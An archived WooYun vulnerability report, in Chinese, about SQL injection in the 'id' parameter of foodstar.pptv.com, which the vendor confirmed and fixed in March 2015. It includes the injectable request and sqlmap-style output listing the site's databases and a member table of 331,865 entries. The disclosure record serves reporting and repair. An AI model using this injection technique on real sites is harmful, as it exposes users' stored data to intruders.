乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-03-16: 细节已通知厂商并且等待厂商处理中 2015-03-16: 厂商已经确认,细节仅向厂商公开 2015-03-17: 厂商已经修复漏洞并主动公开,细节向公众公开
网站foodstar.pptv.com参数id
GET /post?id=184 HTTP/1.1Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) Cache-Control: no-cacheAccept-Language: en-us,en;q=0.5Host: foodstar.pptv.comAccept-Encoding: gzip, deflate
跑一下
option '--threads' for faster data retrieval[19:13:13] [INFO] retrieved: 10[19:13:17] [INFO] retrieved: information_schema[19:15:03] [INFO] retrieved: pp_hezuo_swarovski[19:16:47] [INFO] retrieved: pp_zo_inyy[19:17:53] [INFO] retrieved: pp_zo_vmei[19:19:13] [INFO] retrieved: pp_zone[19:19:58] [INFO] retrieved: pp_zone_public[19:21:42] [INFO] retrieved: pplive_ctf[19:22:43] [INFO] retrieved: pplive_heiren[19:23:50] [INFO] retrieved: pplive_kefu[19:24:45] [INFO] retrieved: pplive_rssavailable databases [10]:[*] information_schema[*] pp_hezuo_swarovski[*] pp_zo_inyy[*] pp_zo_vmei[*] pp_zone[*] pp_zone_public[*] pplive_ctf[*] pplive_heiren[*] pplive_kefu[*] pplive_rssback-end DBMS: MySQL 5.0.11[19:29:33] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval[19:29:33] [INFO] retrieved: 331865Database: pplive_kefu+-------------+---------+| Table | Entries |+-------------+---------+| cdb_members | 331865 |+-------------+---------+
危害等级:中
漏洞Rank:10
确认时间:2015-03-16 12:57
感谢提供,处理中
2015-03-17:done